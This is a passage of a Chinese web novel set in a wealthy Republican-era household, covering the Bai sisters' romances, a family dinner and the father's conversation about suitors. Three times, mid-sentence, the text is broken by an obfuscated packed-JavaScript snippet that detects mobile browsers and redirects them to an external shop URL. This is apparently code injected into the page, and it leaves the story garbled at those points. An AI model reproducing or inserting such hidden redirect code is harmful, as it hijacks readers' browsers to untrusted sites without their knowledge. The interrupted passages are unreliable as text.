但却不是为了什么爱情的破碎,蒋牧城和白瑾瑜的关系势同水火,解除婚约简直是注定的结局。同样的,也不是因为失去了一个好姐夫,毕竟那时候她和蒋牧城说不上多熟悉,也坚信姐姐往后能找到更好的。 白瑾瑜总是配得上最好的。 只是那天晚上关窗时无意的一瞥,发现蒋牧城就坐在楼下草丛边的石凳上,正对着这一面的洋楼。也不知他是怎么进来的公馆,不过在门房听差那里,他是熟面孔了,也许就会放他进来。 那一处背靠洋楼后方,很少有人会去,故而连电灯也只远远接了一盏,那一点亮光蔓延到蒋牧城所在的位置,也就不剩多少了。他就在这昏暗的角落里坐着,不知从何时开始的,也不知看向哪里,雕塑似的,一动也不动。 那实在是很破碎的一幅画面,尚且年少的白瑾璎并不懂什么情或者爱,可直觉地,有一种受压迫似的闷闷的痛楚从胸口泛出来。 十点钟时他在那儿坐着,十一点钟了,他还在。等到了十二点,白瑾璎躺在床上睡不着,却怎么也不敢再去拉开窗帘了,她很怕他仍然没走。一想到这,她再也忍不住地哭了出来。 想不到那天家里人都睡得晚,这一哭就惊动了爸爸。白齐盛和白瑾瑜是一起来的,两人起先都虎着脸,似乎晚饭时的争执一直延续到了现在,后头跟着困得揉眼睛也硬是要来凑一脚的白瑾琪。 白齐盛只当是白天发生了太多事,又晚饭时因为婚约问题和白瑾瑜吵过几句吓着了她,并没有多问什么,连白瑾瑜都放柔了脸色,抱着她小声安慰了几句。没想到反倒是年纪最小的白瑾琪把这事儿记得牢牢的,还作了一番天真感性的联想。 现在回想起来,那就不能不生出一种感慨。 不管蒋牧城对于白瑾瑜而言是哪里不好,但在深秋的夜里,在洋楼外冷硬的石凳上一坐就是几个钟头,那一份心,总是叫人可叹的。 下意识的,白瑾璎又拉开窗帘往外望了一眼,那里当然不可能有什么人,黑黢黢的一片,连石凳也在去年被搬走了。 她收回视线,继而瞥见梳妆台上那个海蓝色的首饰盒,突然想:啊呀,不要是蒋牧城对姐姐还很有情谊吧?要是这样,他送我这么贵重的礼,也就说得通了。 可一想到姐姐对于他的态度,白瑾璎又觉得惴惴。 不成,不成。白瑾瑜只要一听到蒋牧城的名字,那种不屑中带着厌烦的神情,几乎就要跳到脸上来。要想说动姐姐同他和好,那简直没有希望;并且如果白瑾瑜摆明姿态,自己当然是听姐姐的,不能替蒋牧城出力,那这份礼物,也就受之有愧了。 白瑾璎几乎是带点遗憾地叹了口气,将绒面盒子打开看了许多眼,阖上后收进了抽屉里。 另一边,柳世新在第二天一进到办公室,那种萎靡不振的状态就引起了同事的注意。其中一个格外会来事的室经理,名叫钱永善,笑嘻嘻地凑过来小声打趣他:“密斯脱柳怎么了?小别胜新婚,好好给女友交过差了吧?” 柳世新愣了一愣,当即否认道:“钱兄可别瞎说!我们发乎情止乎礼,可不赶这样摩登的潮流!” 钱永善不料他反应这样激烈,也就软和下来,摆着手道:“无意冒犯,无意冒犯。我不过见你脸色不大好,关心你一句罢了,你们赶哪一趟潮流,也不关我的事呀!” 柳世新见他态度是很亲近的样子,也就摸了一把脸,叹气道:“不过我们确实吵了一架,她现在,正把我晾在一边呢。”说罢,把昨天晚餐上的事,大略说了一遍,苦道:“不是我咄咄逼人非要逼迫她,只是我们交往了总有一年多,可她不见一点要谈以后的样子,这叫我怎样不着急?” 正说着,只听办公室门口传来“哆哆”两下敲门声,是孟西洲夹着一个文件袋正站在那里。见他二人看了过来,也就坦然地走进去,问:“谈什么呢?” 在他,大概只是随口问一句罢了,钱永善却如临大敌一般,立刻摇着手道:“啊呀,总设,我们可绝没有开小差的意思!只是密斯脱柳的爱情问题太过重大,这才谈两句,看看有没有解决之法呀!” 孟西洲淡淡地一笑,把手里的文件袋递给他,说:“这是新船的总览资料,特点和优势,都分条陈列得很清楚,让大家看熟了。” 钱永善好似变脸一般,下一秒便绽出殷勤的笑脸,道:“还要总设专门跑一趟送来,我们哪里敢当。要是我没记错,这就是总设参与设计的船型吧,啧啧,真了不得!” 孟西洲自动略过了他的后半句,一笔带过道:“顺路走两步的事,我就自己拿来了。”话锋一转,又说,“反倒是你说的爱情问题,刚才我在门外,隐约听了一耳朵。” 钱永善察觉到了这次攀谈的机会,一抓住就不松手了,上赶着说:“是呀!现在的年轻人可不比以前,将罗曼蒂克顽出许多花样儿哩!像总设这样年纪轻轻一表人才的人物,想必在情场上是无往不利的,请一定要不吝赐教呀!” 孟西洲向柳世新投去一眼,见后者是很消沉的样子,不动声色地扬了扬嘴角,谦虚道:“我哪里是什么无往不利的角色,不过既然谈的是爱情,总归要以尊重小姐的意愿为优先,她们不答应的事,我们是不能做的。” 柳世新有点不大服气的样子,压低了眉头道:“可要是小姐的意愿不合理呢?她这样长长久久地拖着,也不见父母,也不谈婚事,我不过想把我们的关系公开发表一下,这又何错之有?” 孟西洲瞅了他一眼,含着一点笑容道:“你要是谈爱情呢,那就绕不开尊重;你要是谈权衡利益,那当然就两说了。” 这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208002|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直刺到了柳世新的痛脚。他做什么着急?不就是白瑾瑜的条件高过他太多,他怕不快点定下名分圈牢了,会叫这白天鹅飞跑了吗?并且一旦结了婚,凭白家的权势,对自己哪儿能没有莫大的助力? 说白了,他急吼吼地安排白瑾瑜见他父母,为的就是自己得利。只是被孟西洲一针见血地点出来,多少面子上挂不住,连带着觉得他的微笑里,都透着歹毒的用心。 柳世新极力地克制着不去撇嘴,半晌才不阴不阳地开口:“说起来,你和瑾瑜最近倒是常见面,已然可以称得上是熟朋友了。总设这个朋友倒当得很称职,句句都帮着瑾瑜说话。” 孟西洲也不生气,耸了耸肩膀道:“是钱经理问我,我才略说两句,你要是觉得我的话有失公平,不听就是了。” “再说密斯白,她和我们有一笔海外进口的船运合作,不过这毕竟是托了军务处白总长的关系,由闫处长直接签的合同,你不知道也情有可原。”随后,伸出手指弹了弹钱永善手上的文件袋,说,“不过你现在知道了,下次见密斯白的时候,倒是可以直接给她讲讲新业务,这不是很便利吗?” 说罢,冲他二人笑了一笑,和来时一样,施施然地转身离开了。 自然了,他前脚刚迈出业务办公室的大门,下一秒便拉平了唇线冷下脸来的神情,也就没有任何人能看到。 钱永善伸长了脖子,看孟西洲走得有些远了,才重新凑近了柳世新,压着声音道:“老弟,我知道你很苦闷,不如这样,今儿下班了我带你去消遣消遣?和广仁大道只隔了两条街,有一个北油车弄,你不知道吧?里头很有意思哩。” 柳世新哪里知道什么北油车弄,又哪里有这个心情,就是请他上东亚大饭店,他现在都兴致缺缺哩!只闷闷地说:“头痛得很,就不去了。钱兄,新船资料给我瞧瞧吧。” 钱永善看出他现在是油盐不进的状态,原本准备了一箩筐的介绍之词,也只能咽回肚子里,把资料分给他后,便又坐回到自己的工位上。 柳世新翻着手上几页资料,脑子里想的却全是白瑾瑜。 除去她身家贵重,她也实在美丽,哪个男人能不拜倒在美人的裙下呢?同时她也实在开明不扭捏,许多保守派的女子,在婚嫁之前,那是休想一亲香泽的。同时那些过分洋派的,逢人就可以贴着脸吻,那又太放\荡,而瑾瑜却是恰如其分...... 一想到他们之间的那几个吻,柳世新又心驰神往起来,越是往仔细里想,越能体会到白瑾瑜的种种好处。要是真能和她结婚,那简直可以用“理想”来形容了。 由此看来,自己实在没有必要在这时候惹怒她。她要优哉游哉地来,自己就顺着她好了,何必闹得不愉快,白白留出空子给别人钻? 这样一想,也就拿定了主意,那就是向心爱的人认错求和了! 9. 第 9 章 时光如流水,一晃就又淌过了两年。日子待有钱的人是很宽容的,淘尽了那流水里烦恼的石子。 就白瑾璎,她本来就是一门心思放在读书上的人,琐碎事轻易不能对她造成烦扰,除却学生会的聚会之后,程佩生竟真的明里暗里向她示好,让她躲了好长一段时间。对方似乎也明白了她婉拒的意思,虽然不再主动采取行动,但始终抱着审视的姿态,观察她在爱情上的动向。 白瑾璎不理睬他,干脆连带着其他示好的男同学,都不理睬。 好在正如白瑾瑜所说,爸爸并不催着她恋爱,直到京师大学的最后一年,许多女学生已然做起了毕业结婚的计划,白齐盛也没有催着她去结婚。 她倒并不怕白齐盛的催促,反倒有点怵蒋牧城会对她透露出希望她做“中间人”的意思,故而对他也有点躲避。 然就事实来看,蒋牧城忙得没工夫分心给儿女私情。用白齐盛的话来说,这两年正是海关衙门的高层青黄不接,可以趁势上位的“黄金时期”,卯足一点劲,能让他从副处长一跃两级,直接升上副总长。 而白瑾瑜真可说是爱情事业双丰收的典型。自从柳世新诚诚恳恳地道歉求和之后,对白瑾瑜可谓是百依百顺,再没有违逆过一次她的意思。连带她自己的洋货生意也步上正轨,开了一间专卖漂亮洋货和洋装的店面,在有钱的太太小姐们之间很有些名头。 她们之间,大概还要数白瑾琪最受磋磨,谁让她对读书实在生不出兴趣呢?不过陈芳藻足够苦口婆心,又愿意掏钱给她请家庭老师,实在不成了,还托白瑾璎帮她狠狠补过两回课,考学成绩下来后,总算也有大学可以读。 白瑾琪反倒还不大满意呢,瞅着通知函道:“程巧书也去了这所清江大学呢,难不成还要和她大眼瞪小眼的再来三年吗?真烦人。” 白瑾璎想不到她们较劲了那么久,都要中学毕业了还不消停,好笑道:“谁是大眼,谁又是小眼呢?” 陈姨太早就乐得找不着北了,要知道就凭白瑾琪原先那成绩,哪个大学也不会要她呀!可瞧瞧现在!她得得儿地踩着高跟皮鞋绕到白瑾琪身后,觉得她手里那张通知函,可真是好看,比什么珠宝首饰都值得显摆。 按着她的肩膀道:“有什么可烦人的?她平时能和你针锋相对,不就是仗着自己的功课比你好吗?现在怎么样?不也就和你考进同一所大学?这正是你的胜利呀!” 越想越美,又说:“你看看,这些个功课里,还是洋文的分数最高,可得好好谢谢你二姐姐。上了大学,洋文也要多多请教她,不能放松咯——啊呀,别恼,也别瞪眼。你那么爱看跳舞爱音乐,往后去剧院音乐厅的时候,要是能和里头的洋人搭上几句话,那多么登样(上台面上档次)!” 那似乎是打开了一点美好未来的画卷,白瑾琪果然不再纠结程巧书,跟着高兴起来。 白瑾琪考上了大学,不拘学校的好坏,那都是可喜可贺的一件事。和白瑾璎那时候一样,通知函来的当天,白公馆的厨房就热火朝天地忙活起来,预备晚上大办一桌宴席。 唯一这一次不同的是,正赶上蒋牧城休沐有空,竟亲自到白公馆来恭贺了。 他来的时候,正是佣人们忙得脚不沾地的时候,布置碗筷的,先端上冷菜的,还有被陈姨太喊去熨披肩的。还是虞妈亲自给他开的门,把他的外衣理好了挂起来,说:“我听老爷说,您现在已经升做副总长了,真不容易,我老妈子也给您道一声恭喜啦。” 她也算是看着自己长大的老人了,蒋牧城对她一直很客气,谦虚了一句“哪里”,便和她一道往客厅里走去。 今天宴席的主人公白瑾琪已然坐在沙发里就位,就等着开席了,她还是脱不掉孩子气,脸上带着明晃晃的得意的娇憨。在蒋牧城恭喜她升学并递去礼物的时候,那双圆眼睛,便只顾盯着那礼物盒子转悠了。 蒋牧城问候过她,就去白齐盛书房说话去了,白瑾琪便迫不及待地预备拆开桌上的大盒子。正巧白瑾瑜带着白瑾璎从楼梯上下来,见到后问了一句:“啊哟,谁送的礼?这么大的盒子。” 白瑾琪倒觉得很有面子,二姐姐当初升学的时候只收到了礼物,轮到自己这里,人家蒋牧城可是亲自来了,连送的礼都这么大!虽没见过二姐姐收的礼,总不会比自己这份再大了吧? 正想着,手上的包装纸拆到最后一层,露出里头硬质的封皮和一行洋文的大字,竟是一本包罗万象的百科全书!再翻开看看里头,那字却是像蚊蝇一般小,且通篇都是洋文,白瑾琪只看一眼便觉得眼睛疼。 就这东西,把它和自己关在同一间屋子里一天,她都未必能看得完一页! 在白瑾琪傻眼的当口,白瑾瑜显然也看清了里头的乾坤,忍不住大笑了两声,道:“蒋牧城现在可是当官儿了,他送的礼,那就务必得深想一层。譬如他送你书,那是觉得你学识不够,想让你多读书呢!” 这话真可以说是一箭双雕,把两个人,都小小的讽刺了一下。 啊不,也许是一箭三雕呢?白瑾璎默默地想:照这样说,他送我珍珠项链,是觉得我在外貌上不够亮眼,要我多多点缀的意思吗?可惜辛苦他一番用心,我还一次没有带过呢。 白瑾琪气咻咻地招呼来小丫鬟把这块“砖”搬去了自己房间,看她的样子,这市价不菲的百科全书,估计也就是被扔在哪个角落落灰的下场了。 不一会儿,陈姨太便披着那条熨烫得瀑布似的真丝披肩下了楼,几人闲谈了两句,白齐盛便也和蒋牧城,一前一后地来到了客厅。这样一来,这次家庭小聚餐的人便都到齐了。 餐厅的大圆桌上已经摆好了各色冷菜,就等着主客一道上桌,那些热菜大菜并热汤,便都可以热热闹闹地端上来。 白齐盛坐在主位,又因为这一顿是庆祝白瑾琪的升学,副手位当然要留一个给她。本来么,蒋牧城一直是白齐盛很看重的贵客,又做到了海关二把手的职务,很当得起坐副手位。 偏偏这一次,白齐盛也没有出言邀请,蒋牧城的脚步也落在众人之后,白瑾瑜便瞅准了这空隙,把另一边的副手位置,给坐了。又拉了白瑾璎紧挨着自己坐下。 白齐盛也不生气,指着陈姨太下手的位子,招呼蒋牧城道:“你就坐那里吧。” 蒋牧城笑了一笑,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208003|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“本来我就是来沾光的客人,应该的。”大大方方地坐下。 统共六个人,并不能把一张圆桌子坐满,留出一段上菜撤菜用的空间,这样一来,蒋牧城的位置便正对着白瑾璎,一抬头就可以望见彼此。白瑾瑜这才露出恍然上当的神情,不过现在再提出换座,那就不大像话,只能按捺着硬忍下来。 反倒是白瑾璎,自坐下后便觉得总有视线盯着自己瞧,抬头往对面看呢,蒋牧城的目光倒真对着自己,若有似无地落在自己脖子肩膀那一片位置。 她今天穿了件淡肉粉色的旗袍,越是往下,在袖口裙面上,倒绣了很精巧的白色芙蓉花,她自己照镜子的时候也觉得肩颈那片素净得有些空落落,很适合带件什么首饰,可又一想横竖是在家里,何必费事,这才作罢。 他这是察觉到了这身搭配上的失误之处了吗?也是,海关多的是接待外宾的重大场合和宴会,对于服饰上的审美,看多了也该学会了。 白瑾璎默默咋舌,心里又想到他挑选礼物的寓意,莫不是真觉得我不修边幅? 就这一个分神,视线再转回时,正和对面的蒋牧城撞个正着。白瑾璎心里猛地一跳,怕自己一通胡思乱想就此暴露在那双幽深的黑眼睛里,忙不迭冲他抿了个微笑,而蒋牧城在一瞬的吃惊过后,也向她微微点了点头。 佣人已经给各人的酒杯里倒上了浅浅一层红酒,给白瑾璎和白瑾琪的则是饮料。 白齐盛端起酒杯往中间一举,说道:“真是时光不等人,这一晃眼,我们老三都考上了大学。本来呢,这一顿应该在莫尔顿扒房,不过你们知道的,过两天我就要动身去重庆出一趟公差,时间恐怕不短,故而很想在走之前办一顿团圆饭,这也是我自己一个愿望吧。” 他能在白瑾琪的庆祝宴上有这样一番公开的演说,陈芳藻别提有多兴奋了,立马接道:“老爷说的哪里话,我们老三很高兴在家吃宴席哩!我也总和她说,去什么扒房,在家里团聚团聚,比什么不好......” 她原本很得劲,只是在座没人附和她,那声音便渐渐没底气地弱下去,脚下不住踢着白瑾琪的鞋子做暗示。 白瑾琪在心里叹了口气,只能开口救场,扭头向着白齐盛道:“这是真心话,爸爸平时那么忙,能聚在一起吃顿饭,这机会是很难得的。” 听她这样说,白齐盛脸上才露出一点笑意,说:“好孩子,你能考学成功,总有自己努力的功劳。我知道你一直很想去莫尔顿扒房,那你就自己去组织,我就不过问了。” 这话真刺中了白瑾琪的心。 她实在是讨厌读书,可为了考学,那真是日也读书夜也读书,终于考上了,谁都是谢天谢地,可就是没有人来谢谢自己。现下被白齐盛这一句话,轻易就逼出了眼泪来,一下子抱住他的手臂,抽着鼻子瓮声瓮气地说:“谢谢爸爸。” 白齐盛这个干惯了大事的人,却对付不来小女孩的眼泪,还是白瑾瑜打趣了一句:“这点事有什么可哭的,好了,你要什么时候去莫尔顿,姐姐拨一笔活动经费你用,怎么样?”才让她擦干了眼泪。 这场宴席,也就热热闹闹地开始了。 10. 第 10 章 第一道热菜被端上桌后,桌上的氛围便融洽到了极点。 白瑾琪又讲到了学校老师夸赞她在跳舞上有天分,表示在大学开学后,一定要加入一个跳舞的社团;白齐盛的兴致很高,频频地举杯,蒋牧城站起身来和他连碰了两次;就连白瑾瑜都少见得全程带笑,在陈姨太提到想买某一支股票后,主动建议她换一支,省得赔钱。 一直到后半场,才跑来个听差,说有电话找蒋先生。 能把电话打来这里的,要么是先打去了蒋公馆再转来的,要么就直接是由蒋牧城家里打来的,不管哪一种,无疑都是很要紧的事了。 蒋牧城起身去了电话间,回来果然就向白齐盛提了告辞,说署里有急事,非要回去处理一下不可。 白齐盛向桌上望了一圈,白瑾瑜正朝小碗里舀着鲫鱼汤,白瑾琪则和陈姨太聊得起劲,只有白瑾璎拿沾湿了的手巾擦手,似乎是已经吃完了的意思。这正合了他的心意,便开口道:“老二,去送送你蒋二哥。” 白瑾璎突然被点了名字,刚迷糊着抬起头,白瑾瑜的声音就从旁插了进来:“家里是没人了吗?要正吃着饭的人去送客人。虞妈!虞妈!送送蒋副总长呗!”手上的汤一转方向,就往旁边递了过去。 白瑾璎刚想说没事,我吃得差不多了可以送一送,就被白瑾瑜塞了一碗鱼汤在手里,手指尖被烫得往后缩了一缩。 白瑾瑜的余光瞥见蒋牧城拧了拧眉头,像是要开口冲她训一句,也不给他这个空隙,立刻催着白瑾璎道:“快喝,快喝,别忘了吹凉。” 白瑾璎简直有些迷糊了,不明所以地坐在原地,看看爸爸看看姐姐,最后又看向仍旧站着的蒋牧城,不知道自己该照谁的指示来做事。旁边的白瑾瑜又推了推她的胳膊,她只好催一下动一下似的,拿勺子抿了一口鱼汤。 正好虞妈也过来了饭厅,白齐盛无奈得很,只能按白瑾瑜的意思,让虞妈把蒋牧城送到公馆大门。 那可想而知,饭后的一顿谈话是少不了的了。白瑾瑜想必心里也是一清二楚,态度坦荡得很,施施然地跟白齐盛上了楼梯。 一进到书房,两人反倒都不急了。白齐盛的脸上甚至露出一点玩味的笑意,从木匣子里拿出一支雪茄烟来,抵在盒盖上不住地敲着,半晌看向白瑾瑜道:“你对牧城的敌意,未免也太大了。” 白瑾瑜正拿着他书柜上一个摆件把玩,闻言轻哼了一声,道:“爸爸看不出来吗?他看瑾璎的眼神,简直像鹈鹕见到了珍珠!呵,凭他一个老古板,也敢来肖想老二吗?” 白齐盛真有些觉得好笑了,说:“我听你的意思,这颗珍珠,是你结的咯?你就是把老二看得太紧了,简直把她当做你自己的东西了。” 白瑾瑜也知道自己的毛病,只是她和白瑾璎是实打实一起长大的,这个妹妹又格外温驯乖巧,再加上白瑾璎的母亲走得很早,自己对她的保护欲旺盛一点,这完全是可以理解的呀。 只是白齐盛说她把白瑾璎当做私有物,这她就不愿意承认,显得她很霸道不讲理似的,只说:“反正蒋牧城不般配。” 白齐盛摇着头笑叹了一声,态度倒是很柔和,反问道:“那你说说,外头那些少爷公子,哪一个般配?我看现在的毛头小子,还真没一个有他的能耐和担当呢。” 说罢,瞅了一眼坐在对面的白瑾瑜,见她不以为意地挑着眉梢,鼻子里虽然冷冷地哼着气,但到底说不出什么反驳的话。 于是接着道:“我知道你不是为了牧城和你退婚的事怄气,只是单纯的不喜欢他,你们都硬气得要命,两块铁板撞在一起,可不就听零哐啷一阵乱响吗?不过瑾璎和你很不同,兴许他们就处得很好呢?这是说不定的呀。” 白瑾瑜的火气几乎是立刻窜了上来:“合着所有的好处都叫他占全了!” 想到白瑾璎以后会跟蒋牧城在一起,自己二十年来最贴心的宝贝,从此就拱手让给别人所有,光是动动念头,就像是从她身上剜一块肉! 白齐盛的目光落在大女儿脸上几秒,笑着说:“你真没有占到一点好处吗?你现在开着家贸易公司,总该知道商海浮沉的道理,可是告诉你吧,官场就如商场,更不要说人这一生,今天难讲明天的事。” 他长长叹了一口气,“我如今人在其位,多少巴结攀附的人,白白把订单送到你的手上,为你大开方便之门,可要是哪一天我下台了呢?” 白齐盛伸出手,止住了想要开口的白瑾瑜,“不必说,或早或晚,总有那一天的。或者请辞或者换届,那是最好的结果,想得再糟一点,现在有多少人捧我,到时候就有多少人要踩上一脚哩!” “牧城不是很好一座靠山吗?你也说了,他看老二,像看着颗珍珠,若是他能守好了这颗珍珠,对你对我们白家,不是一种裨益吗?所以我个人的意思,对于他们俩,我是很乐见其成的。” 白瑾瑜哪里会不明白这一层利害关系,只是一想到自己处处努力上进,自认绝不比男人做得差,到头来却还是要倚借男子的力量,怎能不忿忿不平?怄气道:“要不是我是女子——” 她还没说完,白齐盛已然抬手叫停,说:“不要这样说,男人里头,多的是无情无义的东西,设若我有一个儿子,未必有你的机敏细心,也未必有你这一番对家人的拳拳保护之意。你的能耐比男子有过之而无不及,往后有你这个老大当家,我是一点没有遗憾的。” 这番话,简直把白瑾瑜的能力肯定到了极点,也恰恰说中了她心里最在意之处。 白瑾瑜被钉在原地似的,半晌回不过神来,只觉得心里像被扔进了一枚火种,烧得整个胸膛热乎乎的,连带着眼眶都感到一丝湿热,声音飘忽地问:“爸爸......您真这么想?” 白齐盛笑了一笑,这种时候,他反倒不夸她了,而是伸手在白瑾瑜的肩膀上带着力道地拍了两下,道:“在你当初自己拿主意要出国留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208004|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋的时候,我就知道你担得起当家做主的资格,你真像你的母亲,和她一样的有决断,可惜......” 他没再继续,沉默片刻后调转话锋,又说,“我这一趟公差,少说要去好几个月,家里势必有不少需要你拿主意的地方,凡事可不能太随着性子来。还有,也不能再让牧城这么下不来台。他现在不过是忙得分不开身,顺便投鼠忌器,怕和你吵翻了,连带着瑾璎也要躲开他,他要是真喜欢,你以为他没本事得手吗?到时候你们关系那么紧张,瑾璎夹在中间,那也是怪难为她的。” 今日能听到白齐盛的前一段心里话,白瑾瑜已然是万分的满足,蒋牧城如何,那不过小事而已。 即便自己不横加干预,瑾璎就会中意他吗?那可不见得。她倒不觉得瑾璎会喜欢这种刻板无趣,三棍子敲不出一句话来的男人。 思及此,白瑾瑜大度地笑了笑,轻描淡写道:“凭咱们俩家的关系,我何必让他下不来台?至于他能不能得手,那就看一看他的本事好了。” 白齐盛很知道她嘴上不饶人的毛病,哈哈笑着,已然默认了她不会去搞破坏了,转而又问:“说完了瑾璎,接着说说你吧。你和那位姓柳的先生,有什么打算呢?” 白瑾瑜转着眼睛,里头透出一丝狡黠的亮光来,问:“爸爸,您是要催我吗?当初不是说不催的吗?” 白齐盛慢吞吞地喷了一口烟,哼笑了一声:“你们年轻人管这叫什么?恋爱?这恋了也快三年了,我不该问一句吗?要我看呢,那姓柳的是处处比不过你的,不过你也说了图他长得好看,又听话服管,只要你觉得舒坦,我也没什么好不同意的。” 白瑾瑜平时很少谈感情的事,谈到了也不扭捏,只是不痛不痒的,并不会多说几句,大概都觉得她不大上心,今天却少见地沉默起来,纤长的十指互相揉捏把玩着,忽然说:“等爸爸公差回来之后,不如就让他来见见您呗?” 白齐盛吸烟的动作一停,似乎是吃了一惊,随后笑着问:“这算是决定了?” 白瑾瑜耸了耸肩,做出不大在意的样子,只是由那抿着微笑的嘴角,总可以看出许多愉快来,“是呀,这也快三年了,我再不做一点表示,那真有些对不住他。” 这一件事,就算是秘密地约定了下来。 一周后,白齐盛坐火车前往重庆,白瑾琪和白瑾璎本来就在假期里,难得的是白瑾瑜也推掉了生意上的会谈,姐妹三个都去了火车站送行。 眼看着火车在铁轨上越跑越远,带着那渐渐听不见的呜呜的鸣笛声,消失在遥远的拐弯处。 白瑾琪放下挥累了的手臂,皮鞋点着地面轻快地转了个身,兴起道:“择日不如撞日,不如就今天去莫尔顿吧?正好大姐姐也在嘛!快走,快走,今天起得早,我早饭也没有吃,可饿坏我了!” 在那时看来,日子真是快活无比,似乎等待在生命里的只有好的事,未来的每一天都光辉灿烂。 11. 第 11 章 日子继续缓慢流淌,要说有什么大事,那白瑾瑜的生日总要算是一件。 以往每逢白瑾瑜的生日,柳世新都是要请她去外国饭店的,这已然成了惯例。 即便是在英国留洋,还没有谈上恋爱的时候,唯恐单独邀请会被白瑾瑜回绝,便招呼上许多朋友一道庆生;或者这个提议由别人发起时,柳世新是一定会主动参加一个的。 而白瑾瑜并不排斥社交,且留洋圈子里的国人朋友固定是那几个,通常会热热闹闹地聚上一次。这活动在两人恋爱且回国之后,便改成了单独吃西菜。 倒不是中式饭店不好,只是中国人大都爱热闹,常常喜欢在饭店里宴客或吃团圆饭,席间推杯换盏,首先在气氛上就显得吵闹。即便是坐在隔间里,也构不成可供爱侣们说亲密话的幽静环境。 其二么,就是柳世新自己的偏好了。他们初初在一起时,实在是留洋圈子里人见人赞的一对,不说彼此的感情有许多朦胧暧昧的美感,就是旁观者对自己的艳羡目光,现在回想起来都让人禁不住自得。 这实在是柳世新渴望对白瑾瑜唤起的过往最美丽的一段时光。 尽管白瑾瑜对此总是反应平平,但今年这个生日,显然和以往有很大不同,这在她得知柳世新订了外国饭店的顶层套房,而非包厢时就察觉到了。 说起来,这也不是全无征兆。 先前有一回看外国电影,昏暗的放映厅里突然播到男女主人公热烈地吻在一起,缠抱着向后倒下,这在时下可算得上是尺度超前。只听观众席位上瞬间哗然一片,紧跟着又迅速安静下来,一双双眼睛不错眼地盯着幕布瞧。 白瑾瑜正觉得好笑呢,放映厅里坐着的不乏装腔作势的评论家们,指不定回去就写一篇抨击伤风败俗的文章送去发表,谁能想到握着笔杆子的人,同样看得来劲呢? 正这样想着,便觉得邻座的柳世新伸手过来握住了自己的手。 扭头一看,那双深邃的眼睛带着渴望的热度落在自己身上,那意思几乎是不言而喻了。只是白瑾瑜不做任何表示,冲他笑了一笑又再次转过头去,余光里,知道他的目光久久地没有移开。 没有获得白瑾瑜明确的首肯,柳世新当然不敢轻举妄动,不过若有似无的暗示总是有的,也力求在营造氛围上下功夫。譬如这一次就是了。 甫一推开套房的大门,便看见深色的地毯上铺了一层粉粉白白的玫瑰花瓣,一路带向落地窗户旁的餐桌。这时候,大菜还没有上,只有醒酒用的透明玻璃器皿里装了一半的红酒。 既然是套房,那必然带有卧室,只是通向卧室的那一扇门牢牢地关着,似乎要在真正发挥作用之前保留一点神秘的色彩。柳世新在进屋时忍不住向卧室的方向望了一眼,随后很快收回视线,自以为不露痕迹地把白瑾瑜带向了客厅的沙发椅子。 那里也做了不少陈设,除去地毯上的花瓣,小圆桌上还摆着漂亮的茶壶茶具和一客蛋糕,用玻璃罩子罩着,另有一捧鲜红色的玫瑰花。 白瑾瑜倒不是多么恪守传统的保守派,一来她总算有过留洋的经历,对于自古以来的贞操观念,倒认为是束缚女性的枷锁;二来她的为人足够我行我素,不大会受到闲言碎语的影响。 这本来是无关紧要的一件事,不过现在有了和白齐盛之间的约定,那就显得意义重大。横竖也不差几天了,白瑾瑜是希望将日期暂且押后的。 于是尽管心知肚明,却还是揣着明白装糊涂般道:“你这样用心,真叫我有些承受不起了。” 柳世新见她坐下,便捧起桌上那束玫瑰花送到她怀里,说:“你哪里承受不起,是我唯恐自己做得不够好呢。瑾瑜,生日快乐,也祝咱们的爱情长长久久。”那俊脸上写满了温柔与爱意,这大概是许多女子梦寐以求的一幕了,若是换了别个女子,谁能不被这样的柔情蜜意所俘虏? 只是白瑾瑜不是普通女子,要迷惑住她,那是很难的。 她笑着接过花束放在腿上,一面泰然地倒着茶,一面错开话题道:“你也太过隆重了,只是吃一顿饭的事,何必专程订一间套房?还是你自己就住在这里呢?那我是没有意见的。” 柳世新原本正专心致志地欣赏着白瑾瑜的美,她今天穿了一身米白色的洋裙,唯其是很素淡的颜色,在红玫瑰的映衬下更显得灵秀婉约。说话间粉唇微掀,露出里头雪白的贝齿,只是说出的话,却像是兜头浇下的一盆凉水。 这实在和预期相差了十万八千里,柳世新心里一沉,又怕是自己表示得不够,再接再厉地暗示道:“哪里是为我自己住......咱们呆在屋里不好吗?我订了房间,当然是想和你好好相处。” 说着,又伸出手去,握上了白瑾瑜的手,拇指意味深长地不住抚摩着。 白瑾瑜倒也没有躲,只是同样回看向他,说:“呆在屋子里有什么意思?我倒想去街上走一走,看看近来洋货行都流行什么物件。对了,你见我爸爸的那天,预备穿什么呢?也可以一并看一看。” 